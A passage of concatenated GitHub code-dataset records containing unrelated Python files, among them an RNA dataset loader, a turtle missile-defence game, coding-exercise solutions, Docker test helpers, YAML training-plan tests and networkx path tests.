True\n","repo_name":"Tomasngu/AI-Checkers","sub_path":"app/game/checkers.py","file_name":"checkers.py","file_ext":"py","file_size_in_byte":5812,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"33009754608","text":"import warnings\n\nimport numpy as np\n\nimport torch\nfrom torch.utils.data import Dataset\n\nBPP_DIR = './inputs/origin/bpps'\n\n\nclass OpenVaccineDataset(Dataset):\n def __init__(self, mode, df, logger=None, debug=False):\n self.mode = mode\n self.token2int = {x: i for i, x in enumerate('().ACGUBEHIMSX')}\n # self.df = self._prep(df.reset_index(drop=True))\n self.df = df.reset_index(drop=True)\n self.logger = logger\n self.debug = debug\n\n # initialize df\n self.df['encoded_sequence'] = None\n self.df['encoded_structure'] = None\n self.df['encoded_predicted_loop_type'] = None\n self.df['bpp_max'] = None\n self.df['bpp_sum'] = None\n self.df['bpp_non_zero_ratio'] = None\n self.df['structure_dist'] = None\n self.df['structure_depth'] = None\n\n LABEL_COLS = [\n 'reactivity_error',\n 'deg_error_Mg_pH10',\n 'deg_error_pH10',\n 'deg_error_Mg_50C',\n 'deg_error_50C',\n 'reactivity',\n 'deg_Mg_pH10',\n 'deg_pH10',\n 'deg_Mg_50C',\n 'deg_50C',\n ]\n for label_col in LABEL_COLS:\n if label_col not in self.df.columns:\n self.df[label_col] = np.nan\n\n def __len__(self):\n return len(self.df)\n\n def __getitem__(self, idx):\n row = self.df.loc[idx]\n\n row = self._prep(row)\n\n return {\n 'id': row['id'],\n 'encoded_sequence': torch.tensor(row['encoded_sequence']),\n 'encoded_structure': torch.tensor(row['encoded_structure']),\n 'encoded_predicted_loop_type': torch.tensor(row['encoded_predicted_loop_type']),\n 'bpp_max': torch.tensor(row['bpp_max']),\n 'bpp_max_stand': torch.tensor(row['bpp_max_stand']),\n 'bpp_sum': torch.tensor(row['bpp_sum']),\n 'bpp_sum_stand': torch.tensor(row['bpp_sum_stand']),\n 'bpp_non_zero_ratio': torch.tensor(row['bpp_non_zero_ratio']),\n 'bpp_non_zero_ratio_stand': torch.tensor(row['bpp_non_zero_ratio_stand']),\n 'structure_dist': torch.tensor(row['structure_dist']),\n 'structure_dist_stand': torch.tensor(row['structure_dist_stand']),\n 'structure_depth': torch.tensor(row['structure_depth']),\n 'structure_depth_stand': torch.tensor(row['structure_depth_stand']),\n 'reactivity': torch.tensor(row['reactivity']),\n 'deg_Mg_pH10': torch.tensor(row['deg_Mg_pH10']),\n 'deg_pH10': torch.tensor(row['deg_pH10']),\n 'deg_Mg_50C': torch.tensor(row['deg_Mg_50C']),\n 'deg_50C': torch.tensor(row['deg_50C']),\n }\n\n # def _prep(self, df):\n # # initialize df\n # df['encoded_sequence'] = None\n # df['encoded_structure'] = None\n # df['encoded_predicted_loop_type'] = None\n # df['bpp_max'] = None\n # df['bpp_sum'] = None\n # df['bpp_non_zero_ratio'] = None\n # df['structure_dist'] = None\n # df['structure_depth'] = None\n # for i, row in df.iterrows():\n # df.loc[i, 'encoded_sequence'] \\\n # = [self.token2int[s] for s in row['sequence']]\n # df.loc[i, 'encoded_structure'] \\\n # = [self.token2int[s] for s in row['structure']]\n # df.loc[i, 'encoded_predicted_loop_type'] \\\n # = [self.token2int[s] for s in row['predicted_loop_type']]\n # bpp = np.load(f'{BPP_DIR}/{row[\"id\"]}.npy')\n # df.loc[i, 'bpp_max'] = bpp.max(axis=1).tolist()\n\n def _prep(self, row):\n warnings.simplefilter('ignore')\n\n row['encoded_sequence'] = [self.token2int[s] for s in row['sequence']]\n row['encoded_structure'] \\\n = [self.token2int[s] for s in row['structure']]\n row['encoded_predicted_loop_type'] \\\n = [self.token2int[s] for s in row['predicted_loop_type']]\n\n bpp = np.load(f'{BPP_DIR}/{row[\"id\"]}.npy')\n row['bpp_max'] = bpp.max(axis=1).tolist()\n row['bpp_max_stand'] = ((bpp.max(axis=1) - 0.4399965348227675)\n / 0.4396429415011541).tolist()\n row['bpp_sum'] = bpp.sum(axis=1).tolist()\n row['bpp_sum_stand'] = ((bpp.sum(axis=1) - 0.4824247336126996)\n / 0.44554374501860566).tolist()\n row['bpp_non_zero_ratio'] \\\n = ((bpp > 0).sum(axis=1) / bpp.shape[0]).tolist()\n row['bpp_non_zero_ratio_stand'] \\\n = ((((bpp > 0).sum(axis=1) / bpp.shape[0])\n - 0.05980655800051093 / 0.0726128883002326)).tolist()\n structure_dist, structure_depth \\\n = self._mk_structure_features(row['structure'])\n row['structure_dist'] = structure_dist\n row['structure_dist_stand'] \\\n = ((np.asarray(structure_dist)\n - 0.09136617729066979) / 0.15104361845929062).tolist()\n row['structure_depth'] = structure_depth\n row['structure_depth_stand'] \\\n = ((np.asarray(structure_depth)\n - 0.04789640838386961) / 0.05638407993041974).tolist()\n return row\n\n def _mk_structure_features(self, structure):\n structure_dist = np.full(len(structure), -1, dtype=int).tolist()\n structure_depth = []\n stack = []\n for i, s in enumerate(structure):\n if s == \"(\":\n stack.append(i)\n elif s == \")\":\n j = stack.pop()\n structure_dist[i] = (i - j) / len(structure)\n structure_dist[j] = (i - j) / len(structure)\n structure_depth.append(len(stack) / len(structure))\n return structure_dist, structure_depth\n","repo_name":"guchio3/kaggle-open-vaccine-2020","sub_path":"tools/datasets.py","file_name":"datasets.py","file_ext":"py","file_size_in_byte":5715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"16519460042","text":"import py4cytoscape as p4c\nimport pandas as pd\nfrom igraph import *\n\ndef test_1():\n x = pd.read_csv('nodes_for_Cytoscape_test.txt', sep='\\t')\n y = pd.read_csv('edges_for_Cytoscape_test.txt', sep='\\t')\n print(\"OK\")\n\ndef test_2a():\n graph_1 = Graph([(0, 1), (0, 1)], directed=True)\n graph_1.vs['name'] = ['A', 'B']\n graph_1.es['type'] = ['E1', 'E2']\n print(graph_1)\n\n p4c.create_network_from_igraph(graph_1)\n\n# test_1()\ntest_2a()\n","repo_name":"cytoscape/py4cytoscape","sub_path":"tests/scratchpad/test_scratchpad_suid_name.py","file_name":"test_scratchpad_suid_name.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"3"} +{"seq_id":"2610640352","text":"import math\nimport time\nimport turtle\nimport random\nimport os\n\nwindow = turtle.Screen()\nBASE_PATH = os.path.dirname(os.path.dirname(os.path.dirname(__file__)))\npict_path = os.path.join(BASE_PATH, \"image\", \"background.png\")\n\n\nENEMY_COUNT = 5\n\nBASE_X, BASE_Y = 0, -300\nBASE_ravel_x, BASE_ravel_y = random.randint(-400, 400), 300\n\nenemy_missiles = []\nour_missiles = []\n\n\nBUILDINGS_INFOs = {\n 'house': [BASE_X - 400, BASE_Y],\n 'kremlin': [BASE_X - 200, BASE_Y],\n 'nuclear': [BASE_X + 200, BASE_Y],\n 'skyscraper': [BASE_X + 400, BASE_Y] }\n\n\nclass Missile:\n\n def __init__(self, x, y, color, x2, y2):\n self.x = x\n self.y = y\n self.color = color\n pen = turtle.Turtle()\n pen.speed(0)\n pen.color(color)\n pen.penup()\n pen.setpos(x=x, y=y)\n pen.pendown()\n heading = pen.towards(x2, y2)\n pen.setheading(heading)\n pen.showturtle()\n self.pen = pen\n self.state = 'launched'\n self.target = x2, y2\n self.radius = 0\n\n def step(self):\n if self.state == 'launched':\n self.pen.forward(4)\n if self.pen.distance(x=self.target[0], y=self.target[1]) < 20:\n self.state = 'explode'\n self.pen.shape('circle')\n elif self.state == 'explode':\n self.radius += 1\n if self.radius > 5:\n self.pen.clear()\n self.pen.hideturtle()\n self.state = 'dead'\n else:\n self.pen.shapesize(self.radius)\n elif self.state == 'dead':\n self.pen.clear()\n self.pen.hideturtle()\n\n\n def distance(self, x, y):\n return self.pen.distance(x=x, y=y)\n @property\n def get_x(self):\n return self.pen.xcor()\n @property\n def get_y(self):\n return self.pen.ycor()\n\n\nclass Building:\n\n INITIAL_HEALTH = 1000\n\n def __init__(self, x, y, name):\n self.name = name\n self.x = x\n self.y = y\n\n self.health = self.INITIAL_HEALTH\n pen = turtle.Turtle()\n pen.hideturtle()\n pen.speed(0)\n pen.penup()\n pen.setpos(x=self.x, y=self.y)\n pic_path = os.path.join(BASE_PATH, \"image\", self.get_pic_name())\n window.register_shape(pic_path)\n pen.shape(pic_path)\n pen.showturtle()\n self.pen = pen\n\n text_health = turtle.Turtle(visible=False)\n text_health.speed(0)\n text_health.penup()\n text_health.color(\"purple\")\n text_health.setpos(x=self.x, y=self.y - 65)\n text_health.write(str(self.health), align=\"center\", font=[\"Arial\", 10, \"bold\"])\n self.text_health = text_health\n self.label_health = self.health\n\n\n def get_pic_name(self):\n if self.health < self.INITIAL_HEALTH * 0.2:\n return f\"{self.name}_3.gif\"\n elif self.health < self.INITIAL_HEALTH * 0.5:\n return f\"{self.name}_2.gif\"\n return f\"{self.name}_1.gif\"\n\n\n def draw(self):\n pic_name = self.get_pic_name()\n pic_path = os.path.join(BASE_PATH, \"image\", pic_name)\n if self.pen.shape() != pic_path:\n window.register_shape(pic_path)\n self.pen.shape(pic_path)\n if self.health != self.label_health:\n self.label_health = self.health\n self.text_health.clear()\n self.text_health.write(str(self.label_health), align=\"center\", font=[\"Arial\", 10, \"bold\"])\n if self.health < 25:\n self.text_health.clear()\n\n\n\n\n def is_alive(self):\n return self.health >= 0\n\n\nclass Missile_Base(Building):\n INITIAL_HEALTH = 2000\n\n def get_pic_name(self):\n for missile in our_missiles:\n if missile.distance(self.x, self.y) < 50:\n pic_name = f\"{self.name}_opened.gif\"\n break\n else:\n pic_name = f\"{self.name}.gif\"\n return pic_name\n\n\ndef fire_enemy_missile():\n x = random.randint(-600, 600)\n y = 400\n alive_buildings = [b for b in buildings if b.is_alive()]\n if alive_buildings:\n target = random.choice(alive_buildings)\n info = Missile(x=x, y=y, color='red', x2=target.x, y2=target.y)\n enemy_missiles.append(info)\n\n\ndef fire_missile(x, y):\n info = Missile(color='white', x=BASE_X, y=BASE_Y + 30, x2=x, y2=y)\n our_missiles.append(info)\n\n\ndef move_missiles(missiles):\n for missile in missiles:\n missile.step()\n\n\n dead_missiles = [missile for missile in missiles if missile.state == 'dead']\n for dead in dead_missiles:\n missiles.remove(dead)\n\n\n\ndef check_interceptions():\n for our_missile in our_missiles:\n if our_missile.state != 'explode':\n continue\n for enemy_missile in enemy_missiles:\n if enemy_missile.distance(our_missile.x, our_missile.y) < our_missile.radius*10:\n enemy_missile.state = 'dead'\n\ndef check_enemy_count():\n if len(enemy_missiles) < ENEMY_COUNT:\n fire_enemy_missile()\n\n\ndef draw_buildings():\n for building in buildings:\n building.draw()\n\ndef game():\n\n global our_missiles, enemy_missiles, buildings, base\n\n window.clear()\n window.bgpic(pict_path)\n window.setup(1200 + 3, 800 + 3)\n window.screensize(1200, 800)\n window.tracer(n=6)\n window.onclick(fire_missile)\n\n buildings = []\n base = Missile_Base(x=BASE_X, y=BASE_Y, name=\"base\")\n buildings.append(base)\n\n\n\n for name, position in BUILDINGS_INFOs.items():\n building = Building(x=position[0], y=position[1], name=name)\n buildings.append(building)\n\n\n\n def game_over():\n return base.health < 0\n\n\n def check_impact():\n base.health\n for enemy_missile in enemy_missiles:\n if enemy_missile.state != 'explode':\n continue\n for building in buildings:\n if enemy_missile.distance(building.x, building.y) < enemy_missile.radius*10:\n building.health -= 25\n print(f\"{building.name} - {building.health}\")\n\n\n\n\n\n while True:\n window.update()\n if game_over():\n break\n draw_buildings()\n check_impact()\n move_missiles(missiles=our_missiles)\n check_enemy_count()\n check_interceptions()\n move_missiles(missiles=enemy_missiles)\n time.sleep(.01)\n\n\n pen = turtle.Turtle(visible=False)\n pen.speed(0)\n pen.penup()\n pen.color(\"#9370DB\")\n pen.write('GAME OVER', align=\"center\", font=[\"Arial\", 20, \"bold\"])\n\n\n\nwhile True:\n game()\n answer = window.textinput(title=\"Hello\", prompt=\"You want play again? Y/N\")\n if answer.lower() not in ('y', 'yes', 'д', 'да'):\n break","repo_name":"Khanze99/gameturtle","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":6688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"31421454788","text":"#Name:Eduardo Bruno Martins Esperança\n#1/10/2019\n#\n#descrição: questão 3.\ndef pi (n):\n cont=3\n k=76/105\n n2=1\n v1,v2=1,0\n while 5/(10**8) < -4*(v2-v1) :\n cont+=1\n if cont %2 ==0:\n\n n=(1/variante(cont))\n cont+=1\n n2=(1/variante(cont))\n k= k+(n-n2)\n v1= n-n2\n \n else:\n \n cont+=1\n n=(1/variante(cont))\n cont+=1\n n2=(1/variante(cont))\n k=k+(n-n2)\n v2= n-n2\n \n return 4*k\ndef variante(cont):\n return 1+2*cont\ndef main():\n deseja = int(input(\"quer iniciar, digite 1 =\"))\n if deseja ==1:\n n=0\n print(pi(n))\n \nmain()\n","repo_name":"roneitstone/Eduardo-Bruno-Martins-Esperanca-P1","sub_path":"q3_prova1_correção.py","file_name":"q3_prova1_correção.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25105967016","text":"#!/usr/bin/python3\n\nimport sys\n\n\nx1,v1,x2,v2 = input().strip().split(' ')\nx1,v1,x2,v2 = [int(x1),int(v1),int(x2),int(v2)]\n\nstartPoint = 0\n\nif(x1>x2):\n startPoint = x2\nelse:\n startPoint = x1\n\nflag = False\nnumX1 = x1\nnumX2 = x2\n\n\nfor _ in range(startPoint,10001):\n numX1 += v1\n numX2 += v2\n\n if((numX1 - numX2)==0):\n flag = True\n break\n else:\n continue\n\nif flag:\n print('YES')\nelse:\n print('NO')\n\n \n","repo_name":"mahihossain/Sports-Programming","sub_path":"Hacker Rank/kangaroo.py","file_name":"kangaroo.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"42291389873","text":"import sys\n\nfor I in range(int(input())):\n n = int(input())\n a = list(map(int,input().split()))\n\n dic = {}\n for i,num in enumerate(a):\n dic[num]=i+1\n \n bribe = 0\n flag=''\n for target in range(n,0,-1):\n if abs(dic[target]-target)>2:\n flag = \"Too chaotic\"\n break\n else:\n if dic[target]-target<0:\n temp = abs(dic[target]-target)\n bribe+=temp\n pos = dic[target]\n if temp==2:\n dic[a[pos]]-=1\n dic[a[pos+1]]-=1\n a[pos-1],a[pos],a[pos+1] = a[pos],a[pos+1],a[pos-1]\n elif temp==1:\n dic[a[pos]]-=1\n a[pos-1],a[pos] = a[pos],a[pos-1]\n\n if flag=='':\n print(bribe)\n else:\n print(flag)\n \n\"\"\"\n2\n5\n2 1 5 3 4\n5\n2 5 1 3 4\n\"\"\"\n","repo_name":"Shovon588/Programming","sub_path":"Hacker Rank/New Year Chaos.py","file_name":"New Year Chaos.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"17116072446","text":"import random\n\n\nplatform = 'mac osx'\nbrowser = 'ie 10'\nresize = 3\n\ndef was_initialized():\n return random.choice([True, False])\n\nif 'MAC' in platform.upper() and \\\n 'IE' in browser.upper() and \\\n was_initialized and resize > 0:\n print('do something')\n\n\nprint('表达式可能非常复杂而难以阅读,临时变量可以帮助你将表达式分解成\\\n 比较容易管理的形式')\n\nisMacOs = True if 'MAC' in platform.upper() else False\nisIEbrowser = True if 'IE' in browser.upper() else False\nwasResize = True if resize > 0 else False\n\nif isMacOs and isIEbrowser and was_initialized and wasResize:\n print('do something too!')\n","repo_name":"greatabel/ImprovePython","sub_path":"00RefactoringPython/ch6Reorganize_Functions/i3introduce_explain_var.py","file_name":"i3introduce_explain_var.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"3"} +{"seq_id":"41295861221","text":"import os\nimport time\nfrom typing import Any, Dict, Optional\nfrom unittest.mock import MagicMock\nimport docker\nfrom docker.models.containers import Container\nimport requests\nimport tqdm\n\n\ndef start_container(\n image: str,\n port_host: int,\n port_container: int,\n network: str,\n name: str,\n mem_limit: str = \"512m\",\n envs: Optional[Dict[str, str]] = None,\n) -> Container:\n client = docker.from_env()\n container: Container\n for container in client.containers.list():\n if container.name == name:\n print(f\"Found existing container {container.id}. Now restart it\")\n container.remove(force=True)\n break\n environment = {\"transport.host\": \"127.0.0.1\", \"http.host\": \"0.0.0.0\"}\n if envs:\n environment.update(envs)\n container = client.containers.run(\n image=image,\n name=name,\n network=network,\n mem_limit=mem_limit,\n remove=True,\n detach=True,\n environment=environment,\n ports={f\"{port_host}/tcp\": port_container},\n )\n return container\n\n\ndef get_container_ip(name: str) -> str:\n client = docker.DockerClient()\n container = client.containers.get(name)\n ip_add = container.attrs[\"NetworkSettings\"][\"IPAddress\"]\n return ip_add\n\n\ndef wait_for_up(url: str, ntries=100) -> None:\n for _ in tqdm.trange(ntries, desc=f\"Waiting for {url} up\"):\n try:\n # import ipdb; ipdb.set_trace()\n response = requests.get(url)\n if response.status_code == 200:\n break\n except:\n time.sleep(1)\n\n\ndef inside_container() -> bool:\n \"\"\"\n Returns true if we are running inside a container.\n\n https://github.com/docker/docker/blob/a9fa38b1edf30b23cae3eade0be48b3d4b1de14b/daemon/initlayer/setup_unix.go#L25\n \"\"\"\n return os.path.exists(\"/.dockerenv\")\n\n\ndef async_mock_callable(return_value: Any) -> MagicMock:\n\n class AsyncMockCallable(MagicMock):\n\n async def __call__(self, *args: Any, **kwargs: Any) -> Any:\n return return_value\n \n return AsyncMockCallable\n","repo_name":"UKP-SQuARE/square-core","sub_path":"datastore-api/tests/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2092,"program_lang":"python","lang":"en","doc_type":"code","stars":67,"dataset":"github-code","pt":"3"} +{"seq_id":"21253391979","text":"import os\nimport yaml\nimport pytest\nimport pytest_dependency\nimport glob\nfrom collections import defaultdict\nfrom pytest_dependency import depends\n\nfiles_to_check = glob.glob(\"*.yaml\")\n\nexercises_valid_details = ['ranks', 'repeats', 'durations', 'two_sides', 'closed_eyes', 'weights_required']\nboolean_in_details = ['weights_required', 'two_sides', 'closed_eyes']\nexercises_names = [\"jumping_jack\", \"jump\", \"jump_high_knees\", \"squat\", \"deep_squat\", \"lunges\", \"balance\",\n \"balance_eyes_closed\", \"leg_to_side\", \"leg_to_side_eyes_closed\", \"stretch\", \"ankle_to_toe\",\n \"hands_up\", \"hands_down\", \"hands_out\"]\n\n\ndef get_dataFile(file_name):\n with open(os.path.join(os.path.dirname(__file__), file_name)) as yaml_file:\n training_program_settings = yaml.load(yaml_file)\n return {'data': training_program_settings, 'file_name': file_name}\n\n\n@pytest.fixture(scope=\"module\", name=\"fileName\", params=files_to_check)\ndef fileName(request):\n file_name = request.param\n return file_name\n\n\n@pytest.fixture(scope=\"module\", name=\"dataFile\")\ndef dataFile(request, fileName):\n depends(request, [\"test_syntax_and_structure[{}]\".format(fileName)])\n return get_dataFile(fileName)\n\n\n@pytest.mark.dependency()\n@pytest.mark.xfail(reason=\"deliberate fail\")\ndef test_syntax_and_structure(fileName):\n dataFile = get_dataFile(fileName)\n data, file_name = dataFile['data'], dataFile['file_name']\n assert 'work_flow' in data, f\"file_name: {file_name}\"\n assert 'number_of_sets' in data['work_flow'], f\"file_name: {file_name}\"\n assert 'exercises_per_set' in data['work_flow'], f\"file_name: {file_name}\"\n assert 'groups_flow' in data['work_flow'], f\"file_name: {file_name}\"\n assert 'flow_duration' in data['work_flow'], f\"file_name: {file_name}\"\n assert 'groups' in data['work_flow'], f\"file_name: {file_name}\"\n assert 'categories' in data['work_flow'], f\"file_name: {file_name}\"\n assert 'exercises' in data, f\"file_name: {file_name}\"\n\n\n@pytest.mark.dependency()\ndef test_exercises_details_propriety(dataFile):\n data, file_name = dataFile['data'], dataFile['file_name']\n for exercise_name, exercise_data in data['exercises'].items():\n for detail in exercise_data:\n assert detail in exercises_valid_details, \\\n f\"file_name: {file_name}, exercise: {exercise_name}, detail: {detail}\"\n\n\n@pytest.mark.dependency()\ndef test_lengh_of_details_equal(dataFile):\n data, file_name = dataFile['data'], dataFile['file_name']\n for exercise_name, exercise_data in data['exercises'].items():\n assert 'ranks' in exercise_data, f\"file_name: {file_name}, exercise: {exercise_name}\"\n ranks_len = len(exercise_data['ranks'])\n for detail in exercise_data:\n if type(exercise_data[detail]) == list:\n assert len(exercise_data[detail]) == ranks_len, \\\n f\"file_name: {file_name}, exercise: {exercise_name}, detail: {detail}, ranks_len: {ranks_len}\"\n\n\n@pytest.mark.dependency()\ndef test_boolean_in_details(dataFile):\n data, file_name = dataFile['data'], dataFile['file_name']\n for exercise_name, exercise_data in data['exercises'].items():\n for detail in exercise_data:\n if detail in boolean_in_details:\n assert type(exercise_data[detail]) == bool, \\\n f\"file_name: {file_name}, exercise: {exercise_name}, detail: {detail}, type: {type(detail)}\"\n else:\n assert type(exercise_data[detail]) != bool, \\\n f\"file_name: {file_name}, exercise: {exercise_name}, detail: {detail}, type: {type(detail)}\"\n\n\n@pytest.mark.dependency()\ndef test_exercises_in_categories(dataFile):\n data, file_name = dataFile['data'], dataFile['file_name']\n exe_to_cat = defaultdict(list)\n for category in data['work_flow']['categories']:\n for exe in data['work_flow']['categories'][category]:\n exe_to_cat[exe].append(category)\n assert exe in exercises_names, f\"file_name: {file_name}, exercise: {exe} dose not in exercises_names\"\n for exe, categori_list in exe_to_cat.items():\n assert len(categori_list) == 1, f\"file_name: {file_name}, exercise: {exe}, categories: {categori_list}\"\n\n\n@pytest.mark.dependency()\ndef test_exercises_in_groups_and_exercises_details(dataFile):\n data, file_name = dataFile['data'], dataFile['file_name']\n categories_exercises = []\n for category in data['work_flow']['categories']:\n categories_exercises.extend(data['work_flow']['categories'][category])\n for exe_name in data['exercises']:\n assert exe_name in categories_exercises, f\"file_name: {file_name}, exercise: {exe_name}, dose not in categories\"\n for group in data['work_flow']['groups']:\n for exe_name in data['work_flow']['groups'][group]:\n assert exe_name in categories_exercises, f\"file_name: {file_name}, exercise: {exe_name}, dose not in categories\"\n\n\n@pytest.mark.dependency()\ndef test_groups_flow_validate(dataFile):\n data, file_name = dataFile['data'], dataFile['file_name']\n for group in data['work_flow']['groups_flow']:\n assert group in data['work_flow']['groups'], f\"file_name: {file_name}, group: {group}, not in work_flow groups\"\n\n\n@pytest.mark.dependency()\ndef test_groups_flow_len(dataFile):\n data, file_name = dataFile['data'], dataFile['file_name']\n len_groups_flow = len(data['work_flow']['groups_flow'])\n exercises_per_set = data['work_flow']['exercises_per_set']\n number_of_sets = data['work_flow']['number_of_sets']\n assert len_groups_flow == exercises_per_set * number_of_sets, \\\n f\"file_name: {file_name}, len of groups_flow: {len_groups_flow},\" \\\n f\" exercises_per_set: {exercises_per_set}, number_of_sets: {number_of_sets}\"\n\n\nif __name__ == \"__main__\":\n file_name = \"coach_assessments.yaml\"\n\n with open(os.path.join(os.path.dirname(__file__), os.path.join(\"auto_learning\", file_name))) as yaml_file:\n training_program_settings = yaml.load(yaml_file)\n flow_categories = training_program_settings[\"work_flow\"][\"exercises_groups_flow\"]\n flow_leftover_time = training_program_settings[\"work_flow\"][\"flow_duration\"]\n","repo_name":"yehonathanJacob/yjacob","sub_path":"PythonLab/ExperienceInCompanis/iCarbonX/SMX/tests/plan_checker.py","file_name":"plan_checker.py","file_ext":"py","file_size_in_byte":6186,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"25920307947","text":"import requests\r\nfrom bs4 import BeautifulSoup as BS\r\n\r\nwith open(r\"hot_series.txt\",'r') as f:\r\n series_list=[];\r\n for line in f.readlines():\r\n if line.startswith('h'):\r\n series_list.append(line.strip()); #移除字符串首尾的空格\r\n\r\nseries_set=set(); #创建一个无序不重复元素集\r\ncount = 0;\r\nfor series in series_list:\r\n page=BS(requests.get(series).text,'lxml');\r\n table_in_page=page.find(id='seriesParamTableBox').table;\r\n for row in table_in_page.find_all('tr',recursive=False):\r\n series_set.add(row.th.string);\r\n count += 1;\r\n print(\"检索了第%d个系列\"%count);\r\nwith open(r\"all_param.txt\",'w+') as f:\r\n for param in series_set:\r\n f.write(param+'\\n');\r\n","repo_name":"CheneyWoo/Recommender-Project","sub_path":"Objective Configuration Parameter/get_param_list.py","file_name":"get_param_list.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7491701678","text":"from datetime import date\n\n\nclass Employee:\n def __init__(self, name: str, company: str, age: int, salary: int or float):\n self.name = name\n self._company = company\n self.__salary = salary\n self.__age = age\n\n @property\n def get_info(self):\n return f\"{self.name} is working at {self._company}.\"\n\n @property\n def get_name(self):\n return self.name\n\n @property\n def company(self):\n return self._company\n\n @company.setter\n def company(self, new_company):\n if isinstance(new_company, str):\n self._company = new_company\n else:\n raise TypeError(\"Error! Wrong format!\")\n\n @property\n def salary(self):\n return self.__salary\n\n @salary.setter\n def salary(self, new_salary):\n if isinstance(new_salary, int or float):\n self.__salary = new_salary\n else:\n raise TypeError(\"Wrong format\")\n\n @classmethod\n def salary_with_bonus(cls, name: str, company: str, age: int, salary: int or float, bonus: int):\n salary_with_bonus = salary + bonus\n return cls(name, company, age, salary_with_bonus)\n\n @property\n def get_age(self):\n return self.__age\n\n @get_age.setter\n def get_age(self, new_age):\n if type(new_age) == int and new_age >= 18 and new_age <= 70:\n self.__age = new_age\n else:\n print(\"Something went wrong! Try again late!\")\n\n @classmethod\n def calculate_age(cls, name, company, year_of_birth, salary):\n return cls(name, company, date.today().year - year_of_birth, salary)\n\n\nif __name__ == '__main__':\n Jack = Employee(\"Jack Sullivan\", \"Apple\", 125000, 35)\n print(Jack.get_info)\n print(Jack.get_name)\n\n Jack.company = \"Microsoft\"\n print(Jack.company)\n\n Jack.salary = 124500\n print(Jack.salary)\n\n Jack.get_age = 36\n print(Jack.get_age)\n\n Marta = Employee.salary_with_bonus(\"Marta Keen\", \"Audi\", 30, 125000, 20000)\n print(Marta.salary)\n\n John = Employee.calculate_age(\"John Snow\", \"BMW\", 1995, 150000)\n print(John.get_age)\n","repo_name":"Benedict3141592/Hillel_Homework_Groshev","sub_path":"HW_Lesson_9/HW_L9_Task_2.py","file_name":"HW_L9_Task_2.py","file_ext":"py","file_size_in_byte":2099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"15603700810","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('',views.index,name='index'),\n path('vote/',views.vote,name='vote'),\n path('result/',views.result,name='result'),\n path('create/',views.create,name='create'),\n\n]\n","repo_name":"prasannatuladhar/simple_voting_app","sub_path":"vote_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12348835782","text":"import os\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\n#Hosted URL\nHOST_PORT = \"8080\"\nHOST_URL = \"0.0.0.0\"\n\n#Time before starting server\nSHORT_SLEEP = 2\n\n#Polling Interval\nLONG_SLEEP = 10\n\n#Published After Time for latest Videos\nPUBLISHED_AFTER_TIME = 1209600 #2 weeks in seconds\n\n#Youtube API Keys\nAPI_KEYS = os.getenv(\"GOOGLE_API_KEYS\").split(\",\")\n#Youtube Object\nYOUTUBE_SERVICE_NAME = \"youtube\"\nYOUTUBE_API_VERSION = \"v3\"\n\n#PreDefined Query\nQUERY = 'football'\n\n#MongoDB Database\nMONGODB_URI = \"mongodb://mongo:27017/fampay_api_db\"\nMONGODB_DATABASE = \"fampay_api_db\"\nMONGODB_COLLECTION = \"fampay_api_colelction\"\n\n\n#Pagination\nPAGINATION_LIMIT = 10","repo_name":"aaditagarwal/fampay-api-assignment","sub_path":"backend/lib/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19235892052","text":"#!/usr/bin/env python\nfrom nose.tools import *\nimport networkx as nx\n\ndef test_all_simple_paths():\n G = nx.path_graph(4)\n paths = nx.all_simple_paths(G,0,3)\n assert_equal(list(list(p) for p in paths),[[0,1,2,3]])\n\ndef test_all_simple_paths_cutoff():\n G = nx.complete_graph(4)\n paths = nx.all_simple_paths(G,0,1,cutoff=1)\n assert_equal(list(list(p) for p in paths),[[0,1]])\n paths = nx.all_simple_paths(G,0,1,cutoff=2)\n assert_equal(list(list(p) for p in paths),[[0,1],[0,2,1],[0,3,1]])\n\ndef test_all_simple_paths_multigraph():\n G = nx.MultiGraph([(1,2),(1,2)])\n paths = nx.all_simple_paths(G,1,2)\n assert_equal(list(list(p) for p in paths),[[1,2],[1,2]])\n\ndef test_all_simple_paths_multigraph_with_cutoff():\n G = nx.MultiGraph([(1,2),(1,2),(1,10),(10,2)])\n paths = nx.all_simple_paths(G,1,2, cutoff=1)\n assert_equal(list(list(p) for p in paths),[[1,2],[1,2]])\n\n\ndef test_all_simple_paths_directed():\n G = nx.DiGraph()\n G.add_path([1,2,3])\n G.add_path([3,2,1])\n paths = nx.all_simple_paths(G,1,3)\n assert_equal(list(list(p) for p in paths),[[1,2,3]])\n\ndef test_all_simple_paths_empty():\n G = nx.path_graph(4)\n paths = nx.all_simple_paths(G,0,3,cutoff=2)\n assert_equal(list(list(p) for p in paths),[])\n\ndef hamiltonian_path(G,source):\n source = next(G.nodes_iter())\n neighbors = set(G[source])-set([source])\n n = len(G)\n for target in 